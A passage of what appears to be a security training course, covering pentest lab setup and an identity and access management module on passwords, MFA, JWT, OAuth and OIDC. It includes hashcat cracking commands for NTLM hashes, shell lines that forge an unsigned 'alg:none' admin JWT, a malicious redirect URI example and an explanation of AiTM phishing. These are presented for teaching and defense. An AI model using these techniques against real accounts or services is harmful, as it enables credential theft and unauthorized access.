IoT Penetration Testing: Embedded devices, firmware analysis
API Penetration Testing: REST/GraphQL/SOAP API-specific testing (OWASP API Security Top 10)
Red Team Engagement: Full-scope, multi-vector, objective-based, stealth-focused (vs. vulnerability-focused)
Purple Team Exercise: Collaborative red+blue exercise to tune detections in real time

1.2.6 Environmental Considerations

Professional testers must account for environment-specific constraints:

Production vs. Non-Production Systems: Testing production risks outages; some tests are restricted to staging/QA environments.
Fragile/Legacy Systems: Older systems (e.g., SCADA/ICS, medical devices) may crash under aggressive scanning — requires gentler techniques.
Cloud vs. On-Premises: Cloud providers (AWS, Azure, GCP) have their own penetration testing policies — e.g., AWS allows testing of most services without prior approval as of their current policy, but prohibits certain actions (DDoS simulation, DNS zone walking against Route 53 in certain configs); Azure requires adherence to Microsoft's "Rules of Engagement for Penetration Testing." Violating CSP (Cloud Service Provider) testing policies can result in account suspension.
Third-Party Hosted Components: CDNs (Cloudflare, Akamai), SaaS integrations may be out of scope since the client doesn't own them.
Compliance Boundaries (PCI scope, HIPAA scope): Some environments require restricting testing to cardholder-data-environment (CDE) boundaries.
Time Zone / Business Hours Windows: Testing windows are often restricted to avoid impacting business operations.
Safety-Critical Systems: ICS/SCADA/OT (Operational Technology) environments require extreme caution — exploitation could cause physical harm (e.g., power grid, water treatment, manufacturing).

1.3 Setting Up Your Own Lab

1.3.1 Requirements and Guidelines for Penetration Testing Labs

Building a personal, isolated lab is essential for safe, legal hands-on practice. Core principles:

Isolation: The lab network must be logically and ideally physically separated from production/home networks to prevent accidental scanning of real-world systems (which would be illegal without authorization) and to prevent malware/exploits from escaping into your real network.
Snapshot/Rollback Capability: Virtual machines allow you to take "snapshots" of a clean state and instantly revert after intentionally breaking a system.
Legally-Owned/Licensed Targets Only: Only attack systems you own or that are explicitly designed for legal practice (see vulnerable VM platforms below). Scanning or attacking any system without authorization — even "just to learn" — is illegal under the CFAA and equivalent laws worldwide.
Resource Planning: CPU virtualization extensions (Intel VT-x/AMD-V) must be enabled in BIOS/UEFI; sufficient RAM (16GB+ recommended for running multiple VMs simultaneously) and disk space (SSD strongly preferred for VM performance).

1.3.2 Virtualization Concepts

Hypervisor: Software that creates and runs virtual machines (VMs) by abstracting physical hardware.

Type 1 (Bare-Metal) Hypervisor: Runs directly on hardware, no host OS required. Examples: VMware ESXi, Microsoft Hyper-V (server mode), Proxmox VE, Citrix Hypervisor (XenServer). Used in enterprise/production environments and dedicated lab servers.
Type 2 (Hosted) Hypervisor: Runs as an application atop a host operating system. Examples: VirtualBox (free, Oracle), VMware Workstation/Fusion (commercial), Parallels Desktop (macOS). Most common choice for personal labs.

Virtual Machine (VM): An emulated computer system running its own OS, isolated from the host, allowing multiple "computers" to run on one physical machine.

Virtual Network Modes (critical for lab isolation):

NAT (Network Address Translation): VM shares host's IP for outbound traffic; not directly reachable from outside — common default, decent isolation.
Bridged: VM appears as its own device on the physical network — dangerous for lab use as it exposes the VM (and any attacks) to the wider home/corporate network.
Host-Only / Internal Network: VMs can only communicate with the host (host-only) or only with each other (internal network) and not the wider internet — the recommended mode for an isolated attack lab.

Snapshots: Point-in-time saved states of a VM's disk/memory, allowing instant rollback after testing destructive exploits.

Cloning: Creating duplicate VMs (full clone = independent copy; linked clone = references a parent disk, saves space) to rapidly redeploy lab environments.

1.3.3 What Tools Should You Use in Your Lab? (Attacker & Target Systems)

Attacker Platforms

Kali Linux: Debian-based Linux distribution maintained by Offensive Security, purpose-built for penetration testing with hundreds of pre-installed tools (Nmap, Metasploit, Burp Suite, Wireshark, John the Ripper, Hashcat, Aircrack-ng, etc.). The de facto industry-standard attacker OS.
Parrot Security OS: Debian-based alternative to Kali, also focused on pentesting/forensics, marketed as slightly more lightweight and privacy-focused.
BlackArch Linux: Arch-based pentest distro with an even larger tool repository, generally for more advanced users.
Commando VM / FLARE-VM: Windows-based offensive security distributions (Mandiant/FireEye) used for AD-focused or Windows-native tooling and malware analysis.

Vulnerable/Practice Target Systems (Legal Practice Platforms)

Metasploitable 2 / Metasploitable 3: Intentionally vulnerable Linux/Windows VMs built by Rapid7 for safe exploitation practice.
OWASP Juice Shop: Modern, intentionally insecure web application (Node.js/Angular) covering OWASP Top 10 vulnerabilities.
DVWA (Damn Vulnerable Web Application): PHP/MySQL web app with adjustable difficulty levels for practicing web vulnerabilities.
VulnHub: Free repository of downloadable vulnerable VMs for offline practice.
Hack The Box (HTB): Online platform with retired/active vulnerable machines, requires VPN connection to their lab infrastructure; widely respected in the industry for skill-building and even recruiting.
TryHackMe (THM): Guided, beginner-friendly gamified learning platform with rooms covering specific concepts.
PortSwigger Web Security Academy: Free, extremely respected resource for web app vulnerabilities, built by the creators of Burp Suite.
PentesterLab: Paid platform with exercises tied closely to real CVEs.
Damn Vulnerable GraphQL Application (DVGA), WebGoat (OWASP), bWAPP: additional purpose-built vulnerable apps.
Active Directory Labs: GOAD (Game of Active Directory), DetectionLab — for practicing enterprise Windows domain attacks.

Core Tool Categories You Will Encounter Throughout the Course (Preview)

Reconnaissance/OSINT: theHarvester, Maltego, Shodan, Recon-ng, SpiderFoot
Scanning/Enumeration: Nmap, Masscan, Rustscan, enum4linux, SMBclient
Vulnerability Scanning: Nessus (Tenable), OpenVAS/Greenbone, Qualys, Nexpose (Rapid7)
Exploitation Frameworks: Metasploit Framework, Cobalt Strike (commercial C2, common in red teaming), Sliver, Empire
Web App Testing: Burp Suite (Community/Professional), OWASP ZAP, sqlmap, ffuf/gobuster (fuzzing/directory brute-force)
Password Attacks: John the Ripper, Hashcat, Hydra, CrackMapExec/NetExec
Wireless: Aircrack-ng suite, Wifite, Kismet
Packet Analysis/Sniffing: Wireshark, tcpdump
Post-Exploitation/AD: BloodHound, Mimikatz, PowerSploit, Rubeus, Impacket suite
C2 (Command and Control) Frameworks: Cobalt Strike, Sliver, Mythic, Brute Ratel — infrastructure attackers/red teamers use to maintain remote control of compromised systems

1.3.4 What If You Break Something?

Key operational practices when something goes wrong in your lab (or, contextually, during a real engagement when something unexpectedly breaks at a client site):

Always have a documented rollback plan (snapshots).
In real engagements: immediately notify the designated point of contact per the RoE if a system crashes, becomes unstable, or unexpected impact occurs — transparency is a core ethical and contractual obligation. Pentesters are NOT supposed to hide accidental damage.
Maintain detailed logs/timestamps of all actions taken (most professional tooling like Cobalt Strike, Burp Suite, and terminal logging via script/tmux logging/CherryTree/Obsidian notes support this) so any incident can be correlated and explained.
Have a "Get Out of Jail Free" / emergency contact card with phone numbers of the client's technical and legal points of contact during live engagements.

1.3.5 Deploying and Investigating Kali Linux (Practical Skills Covered)

Downloading official Kali Linux VM images (VirtualBox/VMware pre-built appliances) from kali.org only (to avoid trojanized/backdoored images from third-party sources).
Importing an OVA/OVF appliance into a hypervisor.
Default credentials awareness (modern Kali enforces a custom-set password during first boot — no longer ships with default kali:kali for security reasons in current releases; legacy versions used root:toor).
Updating the system: apt update && apt full-upgrade.
Exploring the Kali menu structure, organized by attack phase: Information Gathering, Vulnerability Analysis, Web Application Analysis, Database Assessment, Password Attacks, Wireless Attacks, Reverse Engineering, Exploitation Tools, Sniffing & Spoofing, Post Exploitation, Forensics, Reporting Tools, Social Engineering Tools.
Verifying network configuration in isolated/host-only mode, confirming the VM cannot reach unintended networks.
Familiarity with the Linux command line (Bash), filesystem hierarchy (/etc, /var, /usr, /root), package management (apt, dpkg), permissions (chmod, chown), and process management — foundational skills required before any tool usage makes sense.

1.4 Summary

Key Takeaways from Module 1

Ethical hacking is defined by authorization. The same technical actions are a federal crime (under laws like the CFAA) or a paid professional service depending solely on documented, signed permission.
Penetration testing is a structured subset of ethical hacking, governed by Rules of Engagement, Statements of Work, and legal authorization documents.
Organizations conduct pentests for risk reduction, regulatory compliance (PCI DSS, HIPAA, GDPR, SOC 2, ISO 27001, NIST), insurance, and trust validation.
Threat actors range from low-skill script kiddies to highly resourced nation-state APT groups; understanding their motivations and TTPs (cataloged in MITRE ATT&CK) shapes how realistic simulations are designed.
Methodologies (PTES, OSSTMM, OWASP WSTG, NIST SP 800-115, ISSAF) ensure testing is consistent, complete, and legally defensible — never ad hoc.
Tests vary by knowledge level (black/white/gray box) and target type (network, web, mobile, cloud, wireless, physical, social engineering, red team).
Environmental considerations (production risk, legacy/OT systems, cloud provider policies, compliance scope) must shape testing approach to avoid unintended damage.
A safe, isolated virtual lab (via Type 2 hypervisors like VirtualBox, using host-only/internal networking, with snapshot capability) is mandatory for legal hands-on practice — using platforms like Kali Linux as the attack platform and Metasploitable, DVWA, OWASP Juice Shop, VulnHub, or Hack The Box as legal targets.
Career paths in this field range from junior pentester to red team operator, AppSec engineer, cloud security specialist, and beyond — supported by a recognized certification roadmap (Security+ → PenTest+/eJPT → OSCP → OSEP/OSWE/OSCE3).

— End of Module 1 —

Identity Authentication and Access Management (IAM)

Rençber AKMAN — Sun, 28 Jun 2026 14:06:33 +0000

Why This Module Matters
Foundations: Identity, Authentication, Authorization
Password Policies
Multi-Factor Authentication (MFA)
Biometric Authentication
Token-Based Authentication
OAuth 2.0
OpenID Connect (OIDC)
SAML
Kerberos
NTLM
Single Sign-On (SSO)
Privileged Access Management (PAM)
The Missing Layer: Directory Services & Identity Federation Architecture
OT/ICS-Wide Identity Considerations
Module Summary Table
Navigation

1. Why This Module Matters

Identity is the new perimeter. Firewalls fail, network segmentation fails, but the single most consistent root cause across breach reports for the last decade is compromised credentials and broken access logic.

Concrete evidence, not theory:

Colonial Pipeline (May 2021) — the attacker entered through a single compromised VPN account that had no MFA enabled and was tied to a password reused from another breach. The result: 5,500 miles of pipeline shut down, fuel shortages across the U.S. East Coast, and a $4.4M ransom payment. This is the canonical IT-to-OT pivot case study and it starts entirely in the IAM layer.
Uber (2022) — an attacker bought a contractor's stolen credentials, defeated MFA via MFA fatigue (repeated push-notification spam until the victim approved one), and walked into Uber's internal Slack, AWS console, and source code repos.
Microsoft Exchange "Golden SAML" style attacks and the SolarWinds/Sunburst campaign (2020) — attackers forged SAML tokens after compromising an ADFS signing certificate, granting themselves authentication into any federated service, including Microsoft 365, without ever touching a password.
Kerberoasting and Pass-the-Hash are present in the overwhelming majority of post-exploitation phases in enterprise ransomware intrusions documented in Mandiant's M-Trends and CrowdStrike's Global Threat Reports, year after year.
NotPetya (2017) spread laterally inside Maersk and Merck largely via NTLM relay and stolen domain admin credentials, causing over $10 billion in global damage — making it, to date, one of the most expensive uses of broken authentication in history.

Career relevance: IAM is the single domain where identity architects, red teamers, blue teamers, auditors, and OT security engineers all need the same foundational knowledge, just applied differently. A penetration tester without deep Kerberos/NTLM knowledge cannot operate in a Windows domain. A SOC analyst without OAuth/SAML knowledge cannot triage a cloud account-takeover. An OT engineer without PAM knowledge cannot defend a Safety Instrumented System from an insider or a compromised vendor laptop.

Retain this: Every major breach you will study in this entire roadmap touches IAM at least once — either as the initial access vector or as the mechanism of lateral movement. Master this module and you understand the connective tissue of nearly all intrusions.

2. Foundations: Identity, Authentication, Authorization

Before any protocol, three words must be permanently distinct in your mind:

Term	Question it answers	Example
Identity	Who/what are you claiming to be?	`jdoe@corp.local`
Authentication (AuthN)	Can you prove that claim?	Password + OTP code
Authorization (AuthZ)	What are you allowed to do once proven?	"Can read Finance share, cannot write to Domain Admins"

   IDENTITY            AUTHENTICATION            AUTHORIZATION
  "I am jdoe"    -->   "Prove it: password +  -->  "OK, you may
                          OTP code"                  access /finance,
                                                      read-only"

Most breaches occur not because authentication failed cryptographically, but because the authorization model was flat, over-permissioned, or never reviewed after authentication succeeded. Keep this distinction precise — it will resurface in every section below.

A fourth, frequently omitted, concept:

Accounting / Auditing (AAA's third "A") — every authentication and authorization decision must be logged immutably. Without this, forensic reconstruction of an incident is impossible. This is your bridge to Module 2.x on logging and SIEM, and it is non-negotiable in OT environments where safety and liability are at stake.

3. Password Policies

3.1 First Principles

A password is a shared secret. Its security rests entirely on two properties: entropy (how hard it is to guess/brute-force) and secrecy (whether it has been disclosed, reused, or stored insecurely). Everything else — length rules, rotation rules, complexity rules — is an attempt to engineer those two properties at scale across a population of humans who are bad at generating randomness.

3.2 How Passwords Are Actually Attacked

┌─────────────────┬──────────────────────────────────────────┐
│ Attack Class     │ Mechanism                                │
├─────────────────┼──────────────────────────────────────────┤
│ Online brute     │ Repeated login attempts against a live   │
│ force            │ service (slow, noisy, rate-limited)       │
│ Offline crack    │ Attacker has the hash (e.g. from a dump) │
│                   │ and brute-forces/dictionary-attacks it    │
│                   │ with zero rate limit, using GPUs          │
│ Credential        │ Reusing leaked username:password pairs    │
│ stuffing          │ from unrelated breaches (Have I Been      │
│                   │ Pwned-class data) against your service    │
│ Password spraying │ Trying ONE common password against MANY  │
│                   │ accounts to stay under lockout thresholds │
└─────────────────┴──────────────────────────────────────────┘

Password spraying is the technique behind numerous nation-state intrusions (APT28/Fancy Bear has used it extensively against Microsoft 365 tenants). It defeats naive "5 failed attempts = lockout" policies because each individual account only sees one or two attempts.

3.3 Offline Cracking in Practice

If an attacker dumps /etc/shadow on Linux or the NTDS.dit database on a Windows Domain Controller, they own the hashes. Speed depends entirely on hash algorithm:

# Hashcat benchmark example — illustrates why algorithm choice matters enormously
hashcat -b -m 1000   # -b = benchmark mode, -m 1000 = NTLM hash type
hashcat -b -m 1800   # -m 1800 = sha512crypt (Linux shadow, modern)

NTLM (MD4-based, unsalted) can be brute-forced at tens of billions of hashes/second on modern GPUs. bcrypt/argon2-hashed passwords can be brute-forced at only thousands per second because they are deliberately slow (memory-hard / CPU-hard by design). This single fact is why modern password storage MUST use bcrypt, scrypt, or Argon2 — never MD5, SHA-1, or unsalted SHA-256.

# Dictionary + rule-based attack against a captured NTLM hash list
hashcat -m 1000 -a 0 ntlm_hashes.txt rockyou.txt -r rules/best64.rule
# -m 1000  : hash mode = NTLM
# -a 0     : attack mode = straight dictionary
# -r ...   : apply mangling rules (case, leetspeak, append digits) to each
#            dictionary word, multiplying effective coverage

3.4 What Modern Policy Actually Should Say

NIST SP 800-63B (the de facto modern standard) explicitly reversed decades of bad advice:

Old (bad) guidance	Modern (NIST 800-63B) guidance
Force rotation every 90 days	Rotate only on evidence of compromise
Require special chars/mixed case	Require length (≥8, recommend 15+) over complexity
Block password managers	Encourage them
No reuse check	Screen against known-breached password lists

# Example: checking a password against the Pwned Passwords k-anonymity API
# (never send the full password — only a SHA-1 prefix, preserving privacy)
PW_HASH=$(echo -n "P@ssw0rd123" | sha1sum | cut -d' ' -f1 | tr 'a-z' 'A-Z')
PREFIX=${PW_HASH:0:5}
SUFFIX=${PW_HASH:5}
curl -s "https://api.pwnedpasswords.com/range/$PREFIX" | grep -i "$SUFFIX"
# If a match is returned, the password has appeared in a known breach corpus

3.5 Defensive Controls

Enforce length minimums, not arbitrary complexity.
Enforce breach-list screening at creation/change time.
Enforce account lockout / adaptive throttling tuned to defeat spraying (e.g., lock per-IP and per-account velocity, not just per-account count).
Store with Argon2id (preferred), bcrypt, or scrypt — with per-user random salts and a server-side secret pepper where feasible.
Never log raw passwords, even in debug/error paths — this is a recurring real-world finding (Facebook, 2019: hundreds of millions of plaintext passwords found in internal logs).

3.6 Forensic Evidence

Failed login storms in Security.evtx (Event ID 4625 on Windows), /var/log/auth.log on Linux, and authentication gateway logs are your primary spray/brute-force indicators. Look for one source IP/user-agent hitting many distinct usernames with low per-account attempt counts — that signature is spraying, not brute force.

3.7 OT/ICS Perspective

Many PLC/HMI/engineering workstation accounts ship with vendor-default credentials (e.g., historically documented defaults for Siemens, Schneider, Rockwell HMIs) that are never rotated because operations teams fear downtime from a lockout. Shodan-indexed ICS devices with default creds remain discoverable to this day. Never apply IT lockout policies blindly to OT — a locked-out HMI account during a process upset can be more dangerous than the credential risk itself; compensate instead with strict network segmentation and PAM session brokering (Section 13).

Retain this: Password strength is irrelevant if the storage hash is weak, and policy is irrelevant if it ignores the realistic attack — spraying, not brute force, is what breaches you.

4. Multi-Factor Authentication (MFA)

4.1 First Principles

MFA requires proof from two or more independent factor categories:

1) Something you KNOW   — password, PIN
2) Something you HAVE   — phone, hardware token, smart card
3) Something you ARE    — fingerprint, face, iris
4) Somewhere you ARE    — geolocation/network context (increasingly used as a signal)

Two passwords is not MFA. A password + a security question is not MFA (both are "something you know"). This distinction is tested constantly in compliance audits and interviews — know it cold.

4.2 MFA Mechanisms, Ranked by Resistance to Modern Attacks

WEAKEST ─────────────────────────────────────────────► STRONGEST
SMS OTP   Email OTP   TOTP App   Push Notification   FIDO2/WebAuthn (hardware)

SMS OTP — vulnerable to SIM swapping (social-engineering a carrier to port a victim's number) and SS7 protocol interception. Numerous celebrity/crypto-wallet account takeovers (e.g., widely documented Twitter/X account hijacks, 2019–2021) trace back to SIM swap attacks defeating SMS MFA.
TOTP (Time-based One-Time Password, RFC 6238) — a shared secret seed plus the current time window generates a 6-digit code. Stronger than SMS (no carrier dependency) but the seed can be phished via real-time relay (adversary-in-the-middle).
Push notification MFA — vulnerable to MFA fatigue / push bombing: an attacker with a valid password spams push approvals until the victim taps "approve" out of annoyance or confusion. This is exactly the technique used in the Uber 2022 and several Lapsus$ group intrusions.
FIDO2/WebAuthn hardware keys (YubiKey, etc.) — cryptographically bind the authentication to the specific origin domain, making them phishing-resistant. Even if a user is tricked onto evil-microsoft-login.com, the hardware key will refuse to sign the challenge because the origin doesn't match.

4.3 Attack Tooling You Must Know

Evilginx2 — a reverse-proxy phishing framework that sits between victim and real login page, harvesting session cookies in real time, which defeats TOTP and push MFA (it doesn't need the password — it steals the post-auth session token).
Modlishka — similar adversary-in-the-middle (AiTM) phishing proxy.

# Conceptual illustration of why AiTM defeats OTP/push MFA (NOT an executable exploit):
# Victim -> evil proxy (looks identical to real site) -> real site
# Victim enters password + OTP on the FAKE page
# Proxy relays both to the REAL site in real time
# Proxy captures the resulting authenticated SESSION COOKIE
# Attacker replays that cookie — MFA was satisfied, but for the ATTACKER's session

This is precisely why FIDO2/WebAuthn is the recommended end-state: it cryptographically verifies the origin, so the proxy relay breaks.

4.4 Defensive Controls

Mandate FIDO2/WebAuthn or certificate-based smart cards for privileged and remote-access accounts.
Disable SMS MFA for any account with elevated privilege.
Implement number-matching push MFA (Microsoft Authenticator's "enter the number shown on screen" mode) to blunt fatigue attacks — it doesn't fully solve AiTM, but it eliminates blind-tap approval.
Rate-limit and alert on repeated push prompts to the same user within a short window — a strong fatigue-attack indicator.
Conditional Access / risk-based policies: block or challenge logins from impossible-travel locations, new devices, or anomalous ASN ranges.

4.5 Forensic Evidence

Azure AD/Entra ID Sign-in logs show MFA Satisfied vs. MFA Denied counts per session and per user — a burst of denied/cancelled push attempts followed by one approval within seconds is the fatigue-attack signature. AiTM compromises leave a tell-tale anomaly: the authenticating IP differs from the IP later using the resulting session token.

4.6 OT/ICS Perspective

Air-gapped or "logically isolated" OT networks frequently have zero MFA on engineering workstations because vendors historically didn't support it and operators view it as a usability tax during emergency response. The compensating architecture (Section 13) is to put MFA at the jump-server/PAM boundary between IT and OT rather than inside the OT network itself — this preserves emergency operability inside the OT zone while still gating the crossing point.

Retain this: MFA defeats password theft, not session theft. If you don't also defend against AiTM phishing and push fatigue, your "MFA-protected" account is still one click away from compromise.

5. Biometric Authentication

5.1 First Principles

Biometrics authenticate based on a measured physical or behavioral trait — fingerprint ridges, iris patterns, facial geometry, gait, typing cadence. Critically: a biometric is an identifier, not a secret. Your fingerprint is on every glass you touch; your face is in thousands of photos. This single fact reframes the entire threat model — biometrics are strong against remote credential theft but weak against physical spoofing and irrevocability.

5.2 How Matching Works Internally

ENROLLMENT:  raw biometric --> feature extraction --> template (NOT the raw image)
                                                       --> stored, ideally on-device
                                                           in a Secure Enclave/TPM

VERIFICATION: live capture --> feature extraction --> compare against stored
                                                        template --> match score
                                                        --> accept if score > threshold

Two error rates define system quality:

FAR (False Accept Rate) — probability an impostor is wrongly accepted.
FRR (False Reject Rate) — probability a legitimate user is wrongly rejected. These trade off against each other via the match threshold — this is the same precision/recall tradeoff you'll see in any classifier, and it is exploitable: an attacker tunes spoof quality to land just inside the FAR tolerance.

5.3 Documented Attacks

Chaos Computer Club (2017) demonstrated bypassing Samsung Galaxy S8 iris recognition using a printed photo of the iris plus a contact lens to add curvature/reflection.
Fingerprint spoofing via lifted latent prints reconstructed in silicone or wood glue — demonstrated repeatedly against capacitive sensors lacking liveness detection.
Presentation attacks against face recognition using photos, masks, or deepfake video injected into the camera feed — this is why modern systems require liveness detection (blink, depth-sensing via structured light/ToF, challenge-response).

5.4 Defensive Controls

Use sensors with liveness/anti-spoofing detection (depth sensing, blood-flow/pulse detection, infrared).
Store templates on-device in a hardware-backed secure enclave, never as raw biometric data on a central server — a centralized biometric database is a catastrophic, unrevocable breach if compromised (you can reset a password; you cannot reset your fingerprint).
Always pair biometrics with a second independent factor for high-value actions — biometric-as-sole-factor is convenience-tier security, not assurance-tier.
Apply template encryption and integrity binding to the specific device hardware to prevent template extraction-and-replay.

5.5 Forensic Evidence

Biometric authentication events typically log only match/no-match plus the device's secure enclave attestation — raw biometric data should never appear in logs (and if it does, that itself is a serious compliance and security failure to flag). Repeated low-confidence "near-miss" match attempts in short succession are a spoof-attempt indicator.

5.6 OT/ICS Perspective

Biometric access control is increasingly used for physical access to control rooms and safety-critical cabinets, not network login. The forensic implication for OT incident response: tie physical badge/biometric access logs to the SCADA/HMI session logs — a documented technique in insider-threat investigations is correlating "who was physically present" against "what commands were issued" during the incident window.

Retain this: Biometrics authenticate identity, not secrecy — design every biometric system assuming the trait itself will eventually be duplicated, and ensure liveness detection plus a second factor carry the real security weight.

6. Token-Based Authentication

6.1 First Principles

A token is a piece of data, issued after successful authentication, that the client presents on subsequent requests instead of re-sending credentials. This is the foundational shift away from sessions stored server-side per request, toward bearer-based, often stateless, authentication — and it underlies OAuth, OIDC, JWTs, and API security broadly.

6.2 Stateful vs. Stateless Tokens

STATEFUL (Session ID)               STATELESS (JWT)
─────────────────────               ────────────────
Server stores session in DB         Server signs a self-contained token
Client holds only an opaque ID      Client holds the full claims, signed
Revocation: delete server record    Revocation: HARD (must blacklist or
                                     use short expiry + refresh)
Scales poorly across many servers   Scales horizontally with ease

6.3 Anatomy of a JWT (JSON Web Token)

header.payload.signature

eyJhbGciOiJIUzI1NiJ9 . eyJzdWIiOiJqZG9lIiwicm9sZSI6ImFkbWluIn0 . sX...signature

Decoded header:   {"alg": "HS256", "typ": "JWT"}
Decoded payload:  {"sub": "jdoe", "role": "admin", "exp": 1735689600}

6.4 The Critical Vulnerability Class: `alg=none` and Algorithm Confusion

# Demonstrating the classic JWT "alg:none" bypass concept (CVE-class issue,
# affected numerous poorly-implemented JWT libraries circa 2015-2017)
echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0       # forged header
echo -n '{"sub":"admin","role":"admin"}' | base64 -w0   # forged payload
# Result: header.payload. (empty signature)
# A vulnerable verifier that trusts the client-supplied 'alg' field will
# accept this with ZERO valid signature, granting admin claims outright.

A related class: RS256-to-HS256 algorithm confusion, where an attacker takes a server's known-public RSA key and resigns a token using HS256 with that public key string as the HMAC secret — if the verifier doesn't strictly pin the expected algorithm, it will accept the forged HMAC signature.

6.5 Defensive Controls

Pin the expected algorithm server-side — never trust the alg header from the token itself.
Keep token lifetimes short (minutes, not days) and pair with refresh tokens that ARE revocable server-side.
Store sensitive tokens in httpOnly, Secure, SameSite cookies — never in localStorage, which is trivially exfiltrated by any XSS.
Implement token binding (tying a token to a TLS channel or device fingerprint) for high-assurance use cases.

# Inspecting a JWT quickly without trusting any tooling that auto-verifies
TOKEN="eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJqZG9lIn0.xxx"
echo "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null   # decode header
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null   # decode payload

6.6 Forensic Evidence

Look for tokens with unexpectedly long lifetimes, tokens issued with alg values outside your expected set, and replay of the same token from multiple distinct IP/geolocation pairs in a short window — the latter is a strong session/token theft indicator.

6.7 OT/ICS Perspective

Modern OT cloud-connectivity platforms (vendor remote-monitoring portals, digital twin platforms) increasingly issue API tokens to field gateways. A leaked, long-lived, unscoped token to a cloud telemetry API can become a pivot point into the vendor's broader tenant — treat every OT-to-cloud integration token with the same scrutiny as a privileged credential, and scope tokens to the minimum API surface the device actually needs.

Retain this: A stolen valid token is functionally equivalent to a stolen password — but often invisible to password-rotation policies. Short lifetimes and strict algorithm pinning are what make tokens safe.

7. OAuth 2.0

7.1 First Principles — OAuth Is Authorization, Not Authentication

This is the single most common misconception in the industry: OAuth 2.0 was designed to delegate authorization (access to resources), not to prove identity. "Login with Google" feels like authentication, but raw OAuth alone doesn't standardize who the user is — that gap is exactly what OpenID Connect (Section 8) was built to close.

7.2 The Four Roles

┌──────────────┐      ┌──────────────────┐
│   Resource    │      │  Authorization    │
│   Owner       │      │  Server            │
│  (the user)   │      │ (e.g. accounts.    │
└──────┬───────┘      │  google.com)       │
       │               └────────┬──────────┘
       │ grants consent          │ issues token
       ▼                         ▼
┌──────────────┐      ┌──────────────────┐
│   Client      │◄────►│  Resource         │
│ (3rd-party app)│      │  Server            │
│               │      │ (e.g. Google Drive │
│               │      │  API)              │
└──────────────┘      └──────────────────┘

7.3 The Authorization Code Flow (the only flow you should use for web apps)

1. Client redirects user to Authorization Server:
   GET https://auth.example.com/authorize?
       response_type=code
       &client_id=abc123
       &redirect_uri=https://app.example.com/callback
       &scope=read:profile
       &state=xyz789RANDOM      # CSRF protection — MUST be unguessable
       &code_challenge=BASE64URL(SHA256(code_verifier))   # PKCE
       &code_challenge_method=S256

2. User authenticates + consents at Authorization Server.

3. Authorization Server redirects back:
   GET https://app.example.com/callback?code=AUTH_CODE&state=xyz789RANDOM

4. Client exchanges code for token (server-to-server, NOT browser-visible):
   POST https://auth.example.com/token
       grant_type=authorization_code
       &code=AUTH_CODE
       &redirect_uri=https://app.example.com/callback
       &client_id=abc123
       &client_secret=SECRET
       &code_verifier=ORIGINAL_RANDOM_STRING   # PKCE proof

5. Authorization Server returns:
   { "access_token": "...", "refresh_token": "...", "expires_in": 3600 }

7.4 PKCE — Why It Exists

PKCE (Proof Key for Code Exchange, RFC 7636) was introduced because the authorization code, transmitted via browser redirect, can be intercepted (malicious app on the same mobile device registering the same custom URI scheme, or a referrer leak). PKCE binds the code exchange to a secret (code_verifier) only the legitimate client holds, so an intercepted code alone is useless without it. PKCE is now mandatory best practice for all client types, not just public/mobile clients.

7.5 Documented Real-World OAuth Vulnerabilities

Open Redirect via redirect_uri — if the authorization server doesn't strictly validate the redirect URI against an exact allow-list, an attacker can register https://app.example.com.attacker.com/callback or exploit a loose wildcard match, redirecting the authorization code straight to themselves.
CVE-2022-31093 (Keycloak) and various other IdP-specific OAuth/OIDC redirect validation flaws over the years have allowed token/code theft via crafted redirect URIs.
state parameter omission — enables CSRF login attacks where an attacker tricks a victim into completing an OAuth flow that links the attacker's third-party account to the victim's session.

# Conceptual detection: searching IdP logs for authorization requests
# with redirect_uri values OUTSIDE the registered allow-list
grep "redirect_uri=" auth_server.log | grep -v "app.example.com/callback"

7.6 Defensive Controls

Exact-match allow-listing of redirect URIs — never substring or wildcard match.
Always require and validate state to prevent CSRF.
Always use PKCE, even for confidential (server-side) clients.
Use the least-privilege scope requested — never request broader scopes than the integration needs.
Treat client_secret as a credential: rotate it, never commit it to source control (a chronic real-world finding in public GitHub repos via automated secret-scanning).

7.7 Forensic Evidence

Authorization-server logs should show the full redirect_uri, scope, and client_id per grant. An anomaly to hunt: a token issued with a scope broader than the client's registered/expected scope set, or a sudden spike in token requests from a single client_id across many distinct user accounts (credential-stuffing-style abuse of a third-party OAuth app).

7.8 OT/ICS Perspective

OAuth increasingly governs access between OT vendor cloud platforms and enterprise SSO (e.g., a turbine vendor's remote diagnostics portal federating into the customer's IdP). The risk: an over-broad scope granted to a vendor integration can become a standing, often-forgotten bridge between corporate identity and OT vendor cloud infrastructure. Audit OAuth app consent grants in your tenant specifically for OT-vendor applications on a recurring schedule — these are rarely reviewed after initial setup.

Retain this: OAuth tells you what a token can do; it never by itself tells you who the user is. Confusing authorization with authentication is the root cause of an entire category of "Login with X" vulnerabilities.

8. OpenID Connect (OIDC)

8.1 First Principles

OIDC is a thin identity layer built on top of OAuth 2.0. It adds one critical artifact OAuth never defined: the ID Token, a signed JWT that asserts who the user is, alongside the OAuth access token that governs what the client may do.

OAuth 2.0 alone:           access_token   →  "you may call this API"
OAuth 2.0 + OIDC:          access_token   →  "you may call this API"
                           id_token (JWT) →  "this user is jdoe@corp.com,
                                              authenticated at time T,
                                              by issuer https://idp.corp.com"

8.2 ID Token Structure (Decoded)

{
  "iss": "https://idp.corp.com",
  "sub": "9f8e7d6c-...",
  "aud": "client-app-id",
  "exp": 1735693200,
  "iat": 1735689600,
  "nonce": "n-0S6_WzA2Mj",
  "email": "jdoe@corp.com",
  "email_verified": true
}

Critical fields a defender must validate (and that vulnerable implementations historically skipped):

iss — is this issuer the one you trust?
aud — was this token actually issued for your client, not stolen from a different client of the same IdP?
exp/iat — is it within validity window?
nonce — matches the one your client generated, preventing replay of a stale ID token.

8.3 Documented Vulnerability Pattern: Missing `aud` Validation

If a relying party fails to check aud, an attacker who legitimately obtained an ID token for a different, less-trusted client application of the same IdP can replay that token against the higher-trust application — because the IdP's signature is valid, just not meant for this audience. This exact class of bug has appeared repeatedly across OIDC library implementations and is a standard finding in IAM security assessments.

8.4 Discovery and JWKS — How Trust Is Established at Scale

# OIDC discovery document — published at a well-known URL, tells clients
# everything they need: token endpoint, issuer, supported scopes, and
# crucially, the JWKS URI for signature verification keys
curl -s https://idp.corp.com/.well-known/openid-configuration | jq .

# Example relevant fields returned:
# {
#   "issuer": "https://idp.corp.com",
#   "authorization_endpoint": "https://idp.corp.com/authorize",
